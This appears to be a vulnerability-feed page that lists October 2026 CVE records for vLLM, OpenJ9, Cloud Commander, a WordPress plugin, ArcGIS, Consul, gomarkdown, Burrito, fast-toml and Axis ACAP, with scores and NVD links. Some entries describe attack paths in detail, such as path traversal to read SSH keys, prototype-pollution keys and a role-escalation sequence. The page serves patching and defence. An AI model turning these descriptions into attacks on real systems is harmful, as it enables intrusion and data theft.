https://kevwire.com/record/CVE-2026-115915
vLLM is an inference and serving engine for large language models. (Oct 26, 2026).
vLLM is an inference and serving engine for large language models. Prior to 0.32.0, ImageMediaIO passes attacker-controlled image bytes to Pillow through Image.open(BytesIO(data)) without restricting decoder selection, and the MIME label does not constrain the selected format. Image-capable request paths through parse_image() and fetch_image() can therefore dispatch an EPS payload to host components. A host with Ghostscript affected by CVE-2024-29510 can execute commands with the vLLM process's privileges, while environments using Pillow 12.0.0 through 12.2.0 can trigger CVE-2026-59203 and exhaust media-loading workers. Deployments without the applicable vulnerable dependency are not affected by that corresponding impact. This issue is fixed in version 0.32.0.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115915).
Sources:
NVD CVE-2026-115915: https://nvd.nist.gov/vuln/detail/CVE-2026-115915
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
vLLM is an inference and serving engine for large language models. Prior to 0.32.0, ImageMediaIO passes attacker-controlled image bytes to Pillow through Image.open(BytesIO(data)) without restricting decoder selection, and the MIME label does not constrain the selected format. Image-capable request paths through parse_image() and fetch_image() can therefore dispatch an EPS payload to host components. A host with Ghostscript affected by CVE-2024-29510 can execute commands with the vLLM process's privileges, while environments using Pillow 12.0.0 through 12.2.0 can trigger CVE-2026-59203 and exhaust media-loading workers. Deployments without the applicable vulnerable dependency are not affected by that corresponding impact. This issue is fixed in version 0.32.0.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component fails to perform cross-field validation on attacker-controlled `_size`, `_paddingSize`, and `_dataOffset`...
https://kevwire.com/record/CVE-2026-111075
In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component fails to perform cross-field validation on attacker-controlled `_size`, `_paddingSize`, and `_dataOffset`... (Oct 21, 2026).
In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component fails to perform cross-field validation on attacker-controlled `_size`, `_paddingSize`, and `_dataOffset` fields during `DataDescriptor` message deserialization. An unauthenticated remote attacker can send a crafted network payload that triggers an unsigned integer underflow in `DataDescriptor::getPayloadSize()` and `DataDescriptor::getNextDescriptor()`. This results in an out-of-bounds heap read and an immediate process crash (SIGSEGV), causing a denial of service.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111075).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111075&date=2026-10-25).
Sources:
NVD CVE-2026-111075: https://nvd.nist.gov/vuln/detail/CVE-2026-111075
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111075&date=2026-10-25
In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component fails to perform cross-field validation on attacker-controlled `_size`, `_paddingSize`, and `_dataOffset` fields during `DataDescriptor` message deserialization. An unauthenticated remote attacker can send a crafted network payload that triggers an unsigned integer underflow in `DataDescriptor::getPayloadSize()` and `DataDescriptor::getNextDescriptor()`. This results in an out-of-bounds heap read and an immediate process crash (SIGSEGV), causing a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component is vulnerable to a pre-authentication remote denial of service.
https://kevwire.com/record/CVE-2026-111074
In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component is vulnerable to a pre-authentication remote denial of service. (Oct 21, 2026).
In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component is vulnerable to a pre-authentication remote denial of service. When processing the initial 4-byte length field of an incoming TCP connection, an integer overflow in `MessageBuffer::computeRequiredCapacity()` causes the receiving compilation worker thread to enter an infinite loop consuming ~100% CPU. An unauthenticated remote attacker can exploit this by opening a small number of crafted TCP connections to exhaust the entire worker thread pool, silently halting compilation services for all connected client JVMs.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111074).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111074&date=2026-10-25).
Sources:
NVD CVE-2026-111074: https://nvd.nist.gov/vuln/detail/CVE-2026-111074
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111074&date=2026-10-25
In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component is vulnerable to a pre-authentication remote denial of service. When processing the initial 4-byte length field of an incoming TCP connection, an integer overflow in `MessageBuffer::computeRequiredCapacity()` causes the receiving compilation worker thread to enter an infinite loop consuming ~100% CPU. An unauthenticated remote attacker can exploit this by opening a small number of crafted TCP connections to exhaust the entire worker thread pool, silently halting compilation services for all connected client JVMs.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse OpenJ9 versions up to 0.63.0, the JITServer component is vulnerable to denial of service due to improper boundary checks during protocol message and reply handling.
https://kevwire.com/record/CVE-2026-110938
In Eclipse OpenJ9 versions up to 0.63.0, the JITServer component is vulnerable to denial of service due to improper boundary checks during protocol message and reply handling. (Oct 21, 2026).
In Eclipse OpenJ9 versions up to 0.63.0, the JITServer component is vulnerable to denial of service due to improper boundary checks during protocol message and reply handling. An unauthenticated remote attacker or malicious JITServer can transmit malformed network payloads that cause out-of-bounds heap reads, immediately crashing the JITServer daemon or client JVM process via a segmentation fault (SIGSEGV).
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110938).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110938&date=2026-10-25).
Sources:
NVD CVE-2026-110938: https://nvd.nist.gov/vuln/detail/CVE-2026-110938
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110938&date=2026-10-25
In Eclipse OpenJ9 versions up to 0.63.0, the JITServer component is vulnerable to denial of service due to improper boundary checks during protocol message and reply handling. An unauthenticated remote attacker or malicious JITServer can transmit malformed network payloads that cause out-of-bounds heap reads, immediately crashing the JITServer daemon or client JVM process via a segmentation fault (SIGSEGV).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cloud Commander (cloudcmd) versions 19.20.2 through 19.21.1 contains a path traversal vulnerability in the GET /api/v1/pack endpoint where the onGET handler at...
https://kevwire.com/record/CVE-2026-110690
Cloud Commander (cloudcmd) versions 19.20.2 through 19.21.1 contains a path traversal vulnerability in the GET /api/v1/pack endpoint where the onGET handler at... (Oct 14, 2026).
Cloud Commander (cloudcmd) versions 19.20.2 through 19.21.1 contains a path traversal vulnerability in the GET /api/v1/pack endpoint where the onGET handler at server/rest/index.js:130 calls the unguarded root() function instead of the root.resolve() validation wrapper used elsewhere. Attackers can send percent-encoded directory traversal sequences in the pack request path to read arbitrary files outside the configured --root directory, such as /etc/passwd or SSH private keys, which are archived and streamed back as a downloadable tar.gz file.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110690).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110690&date=2026-10-25).
Sources:
NVD CVE-2026-110690: https://nvd.nist.gov/vuln/detail/CVE-2026-110690
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110690&date=2026-10-25
Cloud Commander (cloudcmd) versions 19.20.2 through 19.21.1 contains a path traversal vulnerability in the GET /api/v1/pack endpoint where the onGET handler at server/rest/index.js:130 calls the unguarded root() function instead of the root.resolve() validation wrapper used elsewhere. Attackers can send percent-encoded directory traversal sequences in the pack request path to read arbitrary files outside the configured --root directory, such as /etc/passwd or SSH private keys, which are archived and streamed back as a downloadable tar.gz file.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The aBlocks – Gutenberg Blocks, User Dashboard Builder, Popup Builder, Form Builder & Animation Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions...
https://kevwire.com/record/CVE-2026-110018
The aBlocks – Gutenberg Blocks, User Dashboard Builder, Popup Builder, Form Builder & Animation Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions... (Oct 24, 2026).
The aBlocks – Gutenberg Blocks, User Dashboard Builder, Popup Builder, Form Builder & Animation Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.17.0 via the `/ablocks/v1/form-builder/registration` REST endpoint. The vulnerability exists because the endpoint is registered with `permission_callback => __return_true` and the `register()` handler reads `roleSlug` directly from attacker-controlled block attributes in `post_content` without ever verifying that the block's `formType` is `registration` — a condition that `RegistrationFormSanitizer::verify()` imposes only at save-time, meaning a Contributor can preserve an arbitrary `roleSlug` by saving a block with `formType='login'` and then triggering the endpoint via a valid `wp_rest` nonce and post-ownership check. This makes it possible for authenticated attackers, with Contributor-level access and above, to escalate their WordPress role to Editor or any other non-administrator role and receive a fully authenticated session at the elevated privilege level via `WP_User::set_role()` and `wp_set_auth_cookie()`. Escalation is bounded below administrator-tier roles because `is_safe_registration_role()` rejects any role holding `manage_options`, `edit_users`, `delete_users`, `create_users`, `promote_users`, or `edit_theme_options`, meaning the highest practically reachable role on a standard WordPress installation is Editor.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110018).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110018&date=2026-10-25).
Sources:
NVD CVE-2026-110018: https://nvd.nist.gov/vuln/detail/CVE-2026-110018
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110018&date=2026-10-25
The aBlocks – Gutenberg Blocks, User Dashboard Builder, Popup Builder, Form Builder & Animation Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.17.0 via the `/ablocks/v1/form-builder/registration` REST endpoint. The vulnerability exists because the endpoint is registered with `permission_callback => __return_true` and the `register()` handler reads `roleSlug` directly from attacker-controlled block attributes in `post_content` without ever verifying that the block's `formType` is `registration` — a condition that `RegistrationFormSanitizer::verify()` imposes only at save-time, meaning a Contributor can preserve an arbitrary `roleSlug` by saving a block with `formType='login'` and then triggering the endpoint via a valid `wp_rest` nonce and post-ownership check. This makes it possible for authenticated attackers, with Contributor-level access and above, to escalate their WordPress role to Editor or any other non-administrator role and receive a fully authenticated session at the elevated privilege level via `WP_User::set_role()` and `wp_set_auth_cookie()`. Escalation is bounded below administrator-tier roles because `is_safe_registration_role()` rejects any role holding `manage_options`, `edit_users`, `delete_users`, `create_users`, `promote_users`, or `edit_theme_options`, meaning the highest practically reachable role on a standard WordPress installation is Editor.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### There is a SQL injection vulnerability in Esri ArcGIS Server versions 12.1 and earlier on Windows and Linux that may allow a remote attacker with privileges to access the service...
https://kevwire.com/record/CVE-2026-10757
There is a SQL injection vulnerability in Esri ArcGIS Server versions 12.1 and earlier on Windows and Linux that may allow a remote attacker with privileges to access the service... (Oct 26, 2026).
There is a SQL injection vulnerability in Esri ArcGIS Server versions 12.1 and earlier on Windows and Linux that may allow a remote attacker with privileges to access the service (which could, depending on the service being configured in a non-default access configuration “public”, include an anonymous attacker) to issue database specific functions that should not be allowed. A patch is provided for ArcGIS Server software in General Availability and Extended support status, which includes versions 12.1, 12.0, 11.5, 11.3, and 11.1. Other versions are in mature or retired status, which are not patch eligible. Users working with unlisted versions are advised to upgrade and apply the patch.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10757).
Sources:
NVD CVE-2026-10757: https://nvd.nist.gov/vuln/detail/CVE-2026-10757
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
There is a SQL injection vulnerability in Esri ArcGIS Server versions 12.1 and earlier on Windows and Linux that may allow a remote attacker with privileges to access the service (which could, depending on the service being configured in a non-default access configuration “public”, include an anonymous attacker) to issue database specific functions that should not be allowed. A patch is provided for ArcGIS Server software in General Availability and Extended support status, which includes versions 12.1, 12.0, 11.5, 11.3, and 11.1. Other versions are in mature or retired status, which are not patch eligible. Users working with unlisted versions are advised to upgrade and apply the patch.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HashiCorp Consul and Consul Enterprise 1.17.0 up to 2.0.4 are vulnerable to an authorization bypass in the agent's service mesh leaf certificate API that may allow an attacker...
https://kevwire.com/record/CVE-2026-105765
HashiCorp Consul and Consul Enterprise 1.17.0 up to 2.0.4 are vulnerable to an authorization bypass in the agent's service mesh leaf certificate API that may allow an attacker... (Oct 26, 2026).
HashiCorp Consul and Consul Enterprise 1.17.0 up to 2.0.4 are vulnerable to an authorization bypass in the agent's service mesh leaf certificate API that may allow an attacker without a valid ACL token to retrieve a cached service leaf certificate and its private key. This vulnerability (CVE-2026-105765) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105765).
Sources:
NVD CVE-2026-105765: https://nvd.nist.gov/vuln/detail/CVE-2026-105765
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
HashiCorp Consul and Consul Enterprise 1.17.0 up to 2.0.4 are vulnerable to an authorization bypass in the agent's service mesh leaf certificate API that may allow an attacker without a valid ACL token to retrieve a cached service leaf certificate and its private key. This vulnerability (CVE-2026-105765) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HashiCorp Consul and Consul Enterprise are vulnerable to a denial of service in the HTTP API that may allow an unauthenticated attacker to exhaust memory on a Consul agent.
https://kevwire.com/record/CVE-2026-105626
HashiCorp Consul and Consul Enterprise are vulnerable to a denial of service in the HTTP API that may allow an unauthenticated attacker to exhaust memory on a Consul agent. (Oct 26, 2026).
HashiCorp Consul and Consul Enterprise are vulnerable to a denial of service in the HTTP API that may allow an unauthenticated attacker to exhaust memory on a Consul agent. This vulnerability (CVE-2026-105626) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105626).
Sources:
NVD CVE-2026-105626: https://nvd.nist.gov/vuln/detail/CVE-2026-105626
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
HashiCorp Consul and Consul Enterprise are vulnerable to a denial of service in the HTTP API that may allow an unauthenticated attacker to exhaust memory on a Consul agent. This vulnerability (CVE-2026-105626) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HashiCorp Consul and Consul Enterprise are vulnerable to an authorization bypass in service mesh proxy registration.
https://kevwire.com/record/CVE-2026-105608
HashiCorp Consul and Consul Enterprise are vulnerable to an authorization bypass in service mesh proxy registration. (Oct 26, 2026).
HashiCorp Consul and Consul Enterprise are vulnerable to an authorization bypass in service mesh proxy registration. This may allow a user with service write permission to apply Envoy escape-hatch configuration without the required mesh write permission. This vulnerability (CVE-2026-105608) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105608).
Sources:
NVD CVE-2026-105608: https://nvd.nist.gov/vuln/detail/CVE-2026-105608
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
HashiCorp Consul and Consul Enterprise are vulnerable to an authorization bypass in service mesh proxy registration. This may allow a user with service write permission to apply Envoy escape-hatch configuration without the required mesh write permission. This vulnerability (CVE-2026-105608) is fixed in Consul Community Edition 2.1.0 and Consul Enterprise 2.1.0 and 1.21.19.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML.
https://kevwire.com/record/CVE-2026-102941
The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. (Oct 16, 2026).
The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to 0.0.0-20260724235538-61af6e1e6971, parser.IsSafeURL in parser/parser.go slices url[:nPath] before the len(url) >= nPath guard. A short destination causes a slice-bounds panic when the loop reaches a relative-path prefix for which len(url) < nPath and cap(url) < nPath. The one-byte destination / is an explicit non-panic counterexample because it matches the first valid path and returns before a longer prefix is sliced. Demonstrated panic cases include empty, ., and .. destinations under those conditions. The panic is reachable when markdown.ToHTML renders untrusted Markdown with html.Safelink enabled, including an empty link destination, and is also reachable by callers that pass a short attacker-controlled URL directly to the exported parser.IsSafeURL function. An uncaught panic can terminate the calling process and cause denial of service. This issue is fixed in 0.0.0-20260724235538-61af6e1e6971.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102941).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102941&date=2026-10-25).
Sources:
NVD CVE-2026-102941: https://nvd.nist.gov/vuln/detail/CVE-2026-102941
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102941&date=2026-10-25
The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to 0.0.0-20260724235538-61af6e1e6971, parser.IsSafeURL in parser/parser.go slices url[:nPath] before the len(url) >= nPath guard. A short destination causes a slice-bounds panic when the loop reaches a relative-path prefix for which len(url) < nPath and cap(url) < nPath. The one-byte destination / is an explicit non-panic counterexample because it matches the first valid path and returns before a longer prefix is sliced. Demonstrated panic cases include empty, ., and .. destinations under those conditions. The panic is reachable when markdown.ToHTML renders untrusted Markdown with html.Safelink enabled, including an empty link destination, and is also reachable by callers that pass a short attacker-controlled URL directly to the exported parser.IsSafeURL function. An uncaught panic can terminate the calling process and cause denial of service. This issue is fixed in 0.0.0-20260724235538-61af6e1e6971.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Burrito is a Terraform Automation Collaboration Software (TACoS) Kubernetes operator.
https://kevwire.com/record/CVE-2026-102649
Burrito is a Terraform Automation Collaboration Software (TACoS) Kubernetes operator. (Oct 26, 2026).
Burrito is a Terraform Automation Collaboration Software (TACoS) Kubernetes operator. Prior to 0.13.0, `POST /api/webhook` accepts unsigned GitHub and GitLab events when a `TerraformRepository`'s credentials omit `webhookSecret` or set it to an empty value, including credentials configured for git authentication and polling. `Credential.WebhookSecret` is optional, and `go-playground/webhooks` skips signature or token verification when the secret is empty. Anyone who can reach `burrito-server`'s endpoint and knows a tracked repository's URL can forge events to create or delete `TerraformPullRequest` custom resources with attacker-chosen `Branch`, `Base`, and `ID` fields. For GitHub `pull_request` events, the controller fetches changed files using the real pull request number but does not cross-check the payload's branch against that pull request. Pairing a real, existing pull request number with an unrelated existing branch in the same repository can therefore cause an unauthorized `terraform plan` for affected layers using the operator's stored git and cloud credentials. Code analysis also indicates that the resulting plan can be posted to the real pull request's comment thread, exposing and misattributing another branch's infrastructure changes. Auto-apply is disabled for these temporary layers, so this vulnerability alone cannot force a `terraform apply`; plan-time provider and data-source code execution depends on the selected branch's contents. This issue is fixed in version 0.13.0.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102649).
Sources:
NVD CVE-2026-102649: https://nvd.nist.gov/vuln/detail/CVE-2026-102649
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
Burrito is a Terraform Automation Collaboration Software (TACoS) Kubernetes operator. Prior to 0.13.0, `POST /api/webhook` accepts unsigned GitHub and GitLab events when a `TerraformRepository`'s credentials omit `webhookSecret` or set it to an empty value, including credentials configured for git authentication and polling. `Credential.WebhookSecret` is optional, and `go-playground/webhooks` skips signature or token verification when the secret is empty. Anyone who can reach `burrito-server`'s endpoint and knows a tracked repository's URL can forge events to create or delete `TerraformPullRequest` custom resources with attacker-chosen `Branch`, `Base`, and `ID` fields. For GitHub `pull_request` events, the controller fetches changed files using the real pull request number but does not cross-check the payload's branch against that pull request. Pairing a real, existing pull request number with an unrelated existing branch in the same repository can therefore cause an unauthorized `terraform plan` for affected layers using the operator's stored git and cloud credentials. Code analysis also indicates that the resulting plan can be posted to the real pull request's comment thread, exposing and misattributing another branch's infrastructure changes. Auto-apply is disabled for these temporary layers, so this vulnerability alone cannot force a `terraform apply`; plan-time provider and data-source code execution depends on the selected branch's contents. This issue is fixed in version 0.13.0.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### fast-toml through 0.5.4 contains a prototype pollution vulnerability that allows attackers to modify Object.prototype by supplying TOML containing __proto__, constructor or...
https://kevwire.com/record/CVE-2021-48012
fast-toml through 0.5.4 contains a prototype pollution vulnerability that allows attackers to modify Object.prototype by supplying TOML containing __proto__, constructor or... (Oct 12, 2026).
fast-toml through 0.5.4 contains a prototype pollution vulnerability that allows attackers to modify Object.prototype by supplying TOML containing __proto__, constructor or prototype key segments. Attackers can pass [__proto__] or [constructor.prototype] table headers or __proto__.x dotted keys to parse() to pollute all objects, causing denial of service or authorization bypass.
CVSS 8.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2021-48012).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-48012&date=2026-10-25).
Sources:
NVD CVE-2021-48012: https://nvd.nist.gov/vuln/detail/CVE-2021-48012
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-48012&date=2026-10-25
fast-toml through 0.5.4 contains a prototype pollution vulnerability that allows attackers to modify Object.prototype by supplying TOML containing __proto__, constructor or prototype key segments. Attackers can pass [__proto__] or [constructor.prototype] table headers or __proto__.x dotted keys to parse() to pollute all objects, causing denial of service or authorization bypass.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ACAP applications can gain elevated privileges due to improper input validation during the installation process, potentially leading to privilege escalation.
https://kevwire.com/record/CVE-2026-0541
ACAP applications can gain elevated privileges due to improper input validation during the installation process, potentially leading to privilege escalation. (May 12, 2026).
ACAP applications can gain elevated privileges due to improper input validation during the installation process, potentially leading to privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.
CVSS 6.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0541).
Sources:
NVD CVE-2026-0541: https://nvd.nist.gov/vuln/detail/CVE-2026-0541
Vendor advisory (via NVD references): https://www.axis.com/dam/public/fa/50/c7/cve-2026-0541pdf-en-US-530730.pdf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
ACAP applications can gain elevated privileges due to improper input validation during the installation process, potentially leading to privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An ACAP configuration file lacked sufficient input validation, which could allow command injection and potentially lead to privilege escalation.
https://kevwire.com/record/CVE-2026-0802
An ACAP configuration file lacked sufficient input validation, which could allow command injection and potentially lead to privilege escalation. (May 12, 2026).
An ACAP configuration file lacked sufficient input validation, which could allow command injection and potentially lead to privilege escalation. This vulnerability can only be exploited if the Axis device is configured to allow the installation of unsigned ACAP applications, and if an attacker convinces the victim to install a malicious ACAP application.
CVSS 6.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0802).
Sources:
NVD CVE-2026-0802: https://nvd.nist.gov/vuln/detail/CVE-2026-0802
